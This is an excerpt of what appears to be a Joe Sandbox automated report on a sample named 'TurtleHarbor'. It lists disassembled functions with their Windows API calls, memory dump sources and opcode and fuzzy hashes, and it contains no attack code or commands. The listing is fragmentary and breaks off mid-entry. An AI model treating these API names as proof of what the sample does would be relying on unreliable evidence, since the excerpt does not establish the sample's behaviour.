                                            • IsWindowVisible.USER32(?), ref: 0036BD9D
                                            • SendMessageW.USER32(?,0000000E,00000000,00000000), ref: 0036BDBA
                                            • SendMessageW.USER32(?,0000000D,00000001,00000000), ref: 0036BDF2
                                            • CharUpperBuffW.USER32(00000000,00000000,?,?,?,?), ref: 0036BE18
                                            • _wcsstr.LIBCMT ref: 0036BE22
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$BuffCharUpperVisibleWindow_wcsstr
                                            • String ID:
                                            • API String ID: 3902887630-0
                                            • Opcode ID: e3294cb8ccc255110c2c7a0fa9887e1e1bcb52d938a64398f3ea5fc6b8540278
                                            • Instruction ID: f452d0cc3022e9f4476bb75a238611f9dc9da0fcd01507a40b40c26e61c71e1c
                                            • Opcode Fuzzy Hash: e3294cb8ccc255110c2c7a0fa9887e1e1bcb52d938a64398f3ea5fc6b8540278
                                            • Instruction Fuzzy Hash: 88214C31204204BBEB275F35AC49E7BBB9CDF45710F018029F904CE095DB61CC908660
                                            Function 0039B7BD Relevance: 7.6, APIs: 5, Instructions: 85COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 003129E2: GetWindowLongW.USER32(?,000000EB), ref: 003129F3
                                            • GetWindowLongW.USER32(?,000000F0), ref: 0039B804
                                            • SetWindowLongW.USER32(00000000,000000F0,00000001), ref: 0039B829
                                            • SetWindowLongW.USER32(00000000,000000EC,000000FF), ref: 0039B841
                                            • GetSystemMetrics.USER32(00000004), ref: 0039B86A
                                            • SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000047,?,?,?,?,?,?,?,0038155C,00000000), ref: 0039B888
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$Long$MetricsSystem
                                            • String ID:
                                            • API String ID: 2294984445-0
                                            • Opcode ID: b2bd6b06c1e31a975a725a1864de712d06def842329a8a2753b5bbba6af77f22
                                            • Instruction ID: 479f08013ad679cc2d427c51e149b8025cacf2622bc439f9e15c92381cbe77d2
                                            • Opcode Fuzzy Hash: b2bd6b06c1e31a975a725a1864de712d06def842329a8a2753b5bbba6af77f22
                                            • Instruction Fuzzy Hash: 2521B131918265AFCF169F38ED08A6A77ACFB09320F114729F925D21E0E3309810CB80
                                            Function 00369EBF Relevance: 7.6, APIs: 5, Instructions: 84windowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • SendMessageW.USER32(?,00001004,00000000,00000000), ref: 00369ED8
                                              • Part of subcall function 00321821: _memmove.LIBCMT ref: 0032185B
                                            • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00369F0A
                                            • __itow.LIBCMT ref: 00369F22
                                            • SendMessageW.USER32(?,0000102C,00000000,00000002), ref: 00369F4A
                                            • __itow.LIBCMT ref: 00369F5B
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: MessageSend$__itow$_memmove
                                            • String ID:
                                            • API String ID: 2983881199-0
                                            • Opcode ID: 4601715e5202501e6c3df80e8fc27adc1288a8979ec0674e6455055a013a57f6
                                            • Instruction ID: 16ecc714cb9dfc4fa558f4f1fe077d912a709105287cda0060efaa3500606eae
                                            • Opcode Fuzzy Hash: 4601715e5202501e6c3df80e8fc27adc1288a8979ec0674e6455055a013a57f6
                                            • Instruction Fuzzy Hash: 0821D731700208BFDB129A649DCAFEE7BACEB99721F058026F901DF291D670CD5597D1
                                            Function 00386138 Relevance: 7.6, APIs: 5, Instructions: 70COMMON
                                            Download Yara Rule
                                            APIs
                                            • IsWindow.USER32(00000000), ref: 00386159
                                            • GetForegroundWindow.USER32 ref: 00386170
                                            • GetDC.USER32(00000000), ref: 003861AC
                                            • GetPixel.GDI32(00000000,?,00000003), ref: 003861B8
                                            • ReleaseDC.USER32(00000000,00000003), ref: 003861F3
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Window$ForegroundPixelRelease
                                            • String ID:
                                            • API String ID: 4156661090-0
                                            • Opcode ID: 2d662f5669174f95ac8e5ceeefdc0f1e904e4c3fb2cfa164a155df17b4598bae
                                            • Instruction ID: 49e3f5ea07e17142a3d088f8c70e9732ea8d050588263a101f186a56f4b0f384
                                            • Opcode Fuzzy Hash: 2d662f5669174f95ac8e5ceeefdc0f1e904e4c3fb2cfa164a155df17b4598bae
                                            • Instruction Fuzzy Hash: C421A475A006049FD719EF65DD89A9AB7F9EF8D310F048479E84A97262CA30AC40CB90
                                            Function 003116CF Relevance: 7.6, APIs: 5, Instructions: 67COMMON
                                            Download Yara Rule
                                            APIs
                                            • ExtCreatePen.GDI32(?,?,00000000,00000000,00000000,?,00000000), ref: 00311729
                                            • SelectObject.GDI32(?,00000000), ref: 00311738
                                            • BeginPath.GDI32(?), ref: 0031174F
                                            • SelectObject.GDI32(?,00000000), ref: 00311778
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: ObjectSelect$BeginCreatePath
                                            • String ID:
                                            • API String ID: 3225163088-0
                                            • Opcode ID: 2a13b5532c9d58feca790cb2271aa76bacfac2f45279a1f0cf3627fc7fe4d931
                                            • Instruction ID: 9f34ce52b2ced5683adae2451d3cb1b79f6718521425deafad49a475335bad49
                                            • Opcode Fuzzy Hash: 2a13b5532c9d58feca790cb2271aa76bacfac2f45279a1f0cf3627fc7fe4d931
                                            • Instruction Fuzzy Hash: AF21AC30906218EBDB27DF24EC4ABED7BACFB08321F154217F915962E0E7719891DB90
                                            Function 0036C837 Relevance: 7.6, APIs: 5, Instructions: 61COMMON
                                            Download Yara Rule
                                            APIs
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: _memcmp
                                            • String ID:
                                            • API String ID: 2931989736-0
                                            • Opcode ID: 816d0e7134389a9a725a215628b6fcdd7922b36c143e35791a5782a39ae71bcf
                                            • Instruction ID: 2fdf0f8bee4061cc41f911af80cb32228f6cda4753fde0a9d73e3852dad86de9
                                            • Opcode Fuzzy Hash: 816d0e7134389a9a725a215628b6fcdd7922b36c143e35791a5782a39ae71bcf
                                            • Instruction Fuzzy Hash: 6D01B162A501057BE22766529C82FFB736CEE61394F04C125FE469B74AE7A0DE1182F0
                                            Function 0037504E Relevance: 7.6, APIs: 5, Instructions: 56synchronizationthreadwindowCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetCurrentThreadId.KERNEL32 ref: 00375075
                                            • __beginthreadex.LIBCMT ref: 00375093
                                            • MessageBoxW.USER32(?,?,?,?), ref: 003750A8
                                            • WaitForSingleObject.KERNEL32(00000000,000000FF,?,?,?,?), ref: 003750BE
                                            • CloseHandle.KERNEL32(00000000,?,?,?,?), ref: 003750C5
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CloseCurrentHandleMessageObjectSingleThreadWait__beginthreadex
                                            • String ID:
                                            • API String ID: 3824534824-0
                                            • Opcode ID: 5d82fe1f70c4291e65d7959a668835ce8448ca6d9e466b7a60741f281ce06867
                                            • Instruction ID: 221737c258b62b0bddedcdc05308c891b44b92a961deb886072a6ccaff905a84
                                            • Opcode Fuzzy Hash: 5d82fe1f70c4291e65d7959a668835ce8448ca6d9e466b7a60741f281ce06867
                                            • Instruction Fuzzy Hash: A9110876908758BFC7178BA8AC48ADB7BACEB46320F144256F819D3350D6B58D0487F0
                                            Function 00368E20 Relevance: 7.5, APIs: 5, Instructions: 49memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00368E3C
                                            • GetLastError.KERNEL32(?,00368900,?,?,?), ref: 00368E46
                                            • GetProcessHeap.KERNEL32(00000008,?,?,00368900,?,?,?), ref: 00368E55
                                            • HeapAlloc.KERNEL32(00000000,?,00368900,?,?,?), ref: 00368E5C
                                            • GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00368E73
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HeapObjectSecurityUser$AllocErrorLastProcess
                                            • String ID:
                                            • API String ID: 842720411-0
                                            • Opcode ID: f54c51148a0a5e99abb894f3c1dca40cd08fffe06f3fe8fae2ece4c76903b56a
                                            • Instruction ID: 0350be4c28caf22318a98916646c9996a7dd8c7fcd5313d64ccd6f6a72226978
                                            • Opcode Fuzzy Hash: f54c51148a0a5e99abb894f3c1dca40cd08fffe06f3fe8fae2ece4c76903b56a
                                            • Instruction Fuzzy Hash: 1B0181B4241204BFDB264FA5DC48DAB7FADEF8B354B104629F849C2220DB329C10CAA0
                                            Function 003757FF Relevance: 7.5, APIs: 5, Instructions: 48sleepCOMMON
                                            Download Yara Rule
                                            APIs
                                            • QueryPerformanceCounter.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 0037581B
                                            • QueryPerformanceFrequency.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 00375829
                                            • Sleep.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,?), ref: 00375831
                                            • QueryPerformanceCounter.KERNEL32(?,?,?,?,?,?,?,?,?,?,?), ref: 0037583B
                                            • Sleep.KERNEL32(?,00000000,?,?,?,?,?,?,?,?,?,?), ref: 00375877
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: PerformanceQuery$CounterSleep$Frequency
                                            • String ID:
                                            • API String ID: 2833360925-0
                                            • Opcode ID: 1836afe6f6fcd444bce7c82f510c3e79b8ffba0498518c619615db752cf7e151
                                            • Instruction ID: 90681216531d20b0cc6582942e21707898569a1ca10c9688adf3a124e522d983
                                            • Opcode Fuzzy Hash: 1836afe6f6fcd444bce7c82f510c3e79b8ffba0498518c619615db752cf7e151
                                            • Instruction Fuzzy Hash: 4F016D35E01A2DEBCF1A9FE4D848AEDBBBCFB0A711F018559E505B2140CB749550CBA2
                                            Function 00367D28 Relevance: 7.5, APIs: 5, Instructions: 48stringCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CLSIDFromProgID.OLE32(?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?,?,00368073), ref: 00367D45
                                            • ProgIDFromCLSID.OLE32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?), ref: 00367D60
                                            • lstrcmpiW.KERNEL32(?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?), ref: 00367D6E
                                            • CoTaskMemFree.OLE32(00000000,?,00000000,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?), ref: 00367D7E
                                            • CLSIDFromString.OLE32(?,?,?,?,00000000,?,00000000,?,?,-C0000018,00000001,?,00367C62,80070057,?,?), ref: 00367D8A
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: From$Prog$FreeStringTasklstrcmpi
                                            • String ID:
                                            • API String ID: 3897988419-0
                                            • Opcode ID: 10aca8a690f49f76e9421e5270cbc6a2446f4bac01a8d765c66f721fa03314a7
                                            • Instruction ID: e830f0ca496bbe27388e516a34259118a13f7823de12637766ee82291a3eb9f4
                                            • Opcode Fuzzy Hash: 10aca8a690f49f76e9421e5270cbc6a2446f4bac01a8d765c66f721fa03314a7
                                            • Instruction Fuzzy Hash: D501DF76601214BBCB128F24DC04BAA7BADEF44756F548424FC08D2214E735ED00CBE0
                                            Function 00368CC7 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetTokenInformation.ADVAPI32(?,00000002,?,00000000,?), ref: 00368CDE
                                            • GetLastError.KERNEL32(?,00000002,?,00000000,?), ref: 00368CE8
                                            • GetProcessHeap.KERNEL32(00000008,?,?,00000002,?,00000000,?), ref: 00368CF7
                                            • HeapAlloc.KERNEL32(00000000,?,00000002,?,00000000,?), ref: 00368CFE
                                            • GetTokenInformation.ADVAPI32(?,00000002,00000000,?,?,?,00000002,?,00000000,?), ref: 00368D14
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                            • String ID:
                                            • API String ID: 44706859-0
                                            • Opcode ID: 7d7c39919f9e7a42a4e9d18d27422b86d87bc475fa85bcf19b13ae71ecfe23b5
                                            • Instruction ID: 554308314a6ecdf04680412331eee6e86a582d8922e6a682700f66d4a16bf3d0
                                            • Opcode Fuzzy Hash: 7d7c39919f9e7a42a4e9d18d27422b86d87bc475fa85bcf19b13ae71ecfe23b5
                                            • Instruction Fuzzy Hash: 58F04F35200204AFEF164FA59C89EAB3BADEF4A754F108525FA45C6190CB619C41DB70
                                            Function 00368D28 Relevance: 7.5, APIs: 5, Instructions: 45memoryCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),?,00000000,?), ref: 00368D3F
                                            • GetLastError.KERNEL32(?,TokenIntegrityLevel,?,00000000,?), ref: 00368D49
                                            • GetProcessHeap.KERNEL32(00000008,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D58
                                            • HeapAlloc.KERNEL32(00000000,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D5F
                                            • GetTokenInformation.ADVAPI32(?,00000003(TokenIntegrityLevel),00000000,?,?,?,TokenIntegrityLevel,?,00000000,?), ref: 00368D75
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: HeapInformationToken$AllocErrorLastProcess
                                            • String ID:
                                            • API String ID: 44706859-0
                                            • Opcode ID: 746c7d5bf9c90837745eb9937cb36f285f2ae73bfe3666e332a5e06d2ed6ee9f
                                            • Instruction ID: e711be16bf7b5f39c4139491d0dedfe7c90e25bf45d10e90e56bae8605bb4158
                                            • Opcode Fuzzy Hash: 746c7d5bf9c90837745eb9937cb36f285f2ae73bfe3666e332a5e06d2ed6ee9f
                                            • Instruction Fuzzy Hash: 6CF0AF74200204AFEB120FA4EC88FAB3BACEF4E758F044615F944C21A0CBB09D00DB70
                                            Function 0036CD7C Relevance: 7.5, APIs: 5, Instructions: 41windowtimeCOMMON
                                            Download Yara Rule
                                            APIs
                                            • GetDlgItem.USER32(?,000003E9), ref: 0036CD90
                                            • GetWindowTextW.USER32(00000000,?,00000100), ref: 0036CDA7
                                            • MessageBeep.USER32(00000000), ref: 0036CDBF
                                            • KillTimer.USER32(?,0000040A), ref: 0036CDDB
                                            • EndDialog.USER32(?,00000001), ref: 0036CDF5
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: BeepDialogItemKillMessageTextTimerWindow
                                            • String ID:
                                            • API String ID: 3741023627-0
                                            • Opcode ID: 6c9b764b9556e865a0b4af17319d1182f31f128f89b715581fea70e984c0715e
                                            • Instruction ID: 97e57d710a6a8190c110467e5b129d7e4468c43bbd10193baac0479e9703962d
                                            • Opcode Fuzzy Hash: 6c9b764b9556e865a0b4af17319d1182f31f128f89b715581fea70e984c0715e
                                            • Instruction Fuzzy Hash: 7801D130510708ABEB265F20DD8EBB67BBCFB01705F004669F5C2A14E1DBF0A9548B80
                                            Function 0031178C Relevance: 7.5, APIs: 5, Instructions: 29COMMON
                                            Download Yara Rule
                                            APIs
                                            • EndPath.GDI32(?), ref: 0031179B
                                            • StrokeAndFillPath.GDI32(?,?,0034BBC9,00000000,?), ref: 003117B7
                                            • SelectObject.GDI32(?,00000000), ref: 003117CA
                                            • DeleteObject.GDI32 ref: 003117DD
                                            • StrokePath.GDI32(?), ref: 003117F8
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: Path$ObjectStroke$DeleteFillSelect
                                            • String ID:
                                            • API String ID: 2625713937-0
                                            • Opcode ID: 9548f61f45f8608c589bfbcee82694c104dde0753adf7b846924743691f84a11
                                            • Instruction ID: a0049cbdb50d969f419db44a7783fdeb6ca2a0c75afc0d998fb41ca29418d0a1
                                            • Opcode Fuzzy Hash: 9548f61f45f8608c589bfbcee82694c104dde0753adf7b846924743691f84a11
                                            • Instruction Fuzzy Hash: 3FF0C930009209ABDB2B9F25FC4D79D3BA8A705326F148216E529552F0E7314995EF11
                                            Function 0037C9DA Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 279comCOMMON
                                            Download Yara Rule
                                            APIs
                                            • CoInitialize.OLE32(00000000), ref: 0037CA75
                                            • CoCreateInstance.OLE32(003A3D3C,00000000,00000001,003A3BAC,?), ref: 0037CA8D
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                            • CoUninitialize.OLE32 ref: 0037CCFA
                                            Strings
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003C6000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749631543.00000000003D0000.00000004.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749646426.00000000003D9000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            Joe Sandbox IDA Plugin
                                            • Snapshot File: hcaresult_18_2_310000_TurtleHarbor.jbxd
                                            Similarity
                                            • API ID: CreateInitializeInstanceUninitialize_memmove
                                            • String ID: .lnk
                                            • API String ID: 2683427295-24824748
                                            • Opcode ID: 30256676f070d65b7725d5d74d0dfe1450345a4ff4d7d0e3d6d20125b00bf0d4
                                            • Instruction ID: 35e10bceee2e2e98f3d40359a1b4c191a22d57133ed245b05a6e1fc85abf3510
                                            • Opcode Fuzzy Hash: 30256676f070d65b7725d5d74d0dfe1450345a4ff4d7d0e3d6d20125b00bf0d4
                                            • Instruction Fuzzy Hash: 00A16CB1104205AFD305EF64DC81EABB7ECEF99314F00491CF5559B2A2EB70EA49CB92
                                            Function 0031E3C6 Relevance: 7.3, APIs: 3, Strings: 1, Instructions: 265COMMON
                                            Download Yara Rule
                                            APIs
                                              • Part of subcall function 00330FE6: std::exception::exception.LIBCMT ref: 0033101C
                                              • Part of subcall function 00330FE6: __CxxThrowException@8.LIBCMT ref: 00331031
                                              • Part of subcall function 00321A36: _memmove.LIBCMT ref: 00321A77
                                              • Part of subcall function 00321680: _memmove.LIBCMT ref: 003216DB
                                            • __swprintf.LIBCMT ref: 0031E598
                                            Strings
                                            • \\[\\nrt]|%%|%[-+ 0#]?([0-9]*|\*)?(\.[0-9]*|\.\*)?[hlL]?[diouxXeEfgGs], xrefs: 0031E431
                                            Memory Dump Source
                                            • Source File: 00000012.00000002.1749554741.0000000000311000.00000020.00000001.01000000.00000008.sdmp, Offset: 00310000, based on PE: true
                                            • Associated: 00000012.00000002.1749536757.0000000000310000.00000002.00000001.01000000.00000008.sdmpDownload File
                                            • Associated: 00000012.00000002.1749594575.00000000003A0000.00000002.00000001.01000000.00000008.sdmpDownload File
